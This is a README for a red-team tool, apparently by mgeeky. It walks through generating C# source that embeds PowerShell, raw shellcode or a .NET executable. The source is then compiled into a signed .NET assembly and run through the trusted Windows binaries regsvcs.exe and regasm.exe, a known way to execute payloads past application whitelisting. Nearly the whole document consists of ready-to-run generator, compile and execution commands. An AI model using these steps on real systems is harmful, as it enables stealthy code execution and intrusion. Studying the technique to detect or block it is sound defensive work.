## Rogue .NET Assembly for Regsvcs/Regasm Code Execution Follow below described steps to properly generate your source code and then compile it to a .NET Assembly valid for Regasm/Regsvcs: ### Step 1: Generate key.snk file ``` powershell -file build.ps1 ``` ### Step 2: Generate source code file Included in this directory script is a helper utility allowing one to quickly generate desired csharp source code file to be used for further `csc` compilation. Usage: ``` python3 generateRegsvcs.py --help :: Regsvcs Code Execution Source code generation utility To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm. Mariusz B. / mgeeky, usage: .\generateRegsvcs.py [options] positional arguments: inputFile Input file to be embeded within C# code. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file. optional arguments: -h, --help show this help message and exit -e, --exe Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE! -r, --raw Specified input file is a raw Shellcode to be injected in self process in a separate Thread. ``` Sample use case: ``` python3 generateRegsvcs.py -r notepad64.bin > program.cs :: Regsvcs Code Execution Source code generation utility To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm. Mariusz B. / mgeeky, [?] File specified as raw Shellcode. ``` ``` python3 generateRegsvcs.py -r payload.bin > program.cs ``` ### Step 3: Compilate library .NET Assembly ``` %WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll /keyfile:key.snk program.cs ``` If you passed Powershell code to be launched in a .NET Runspace, then an additional assembly will have to be used to compile resulting source code properly - meaning System.Management.Automation.dll (provided with this script). Then proper compilation command will be: ``` %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.Management.Automation.dll /target:library /out:regsvcs.dll /keyfile:key.snk program.cs ``` ### Step 4: Code execution via Regsvcs or Regasm: ``` %WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll ``` or ``` %WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll ``` or ``` %WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll ``` or ``` %WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll ```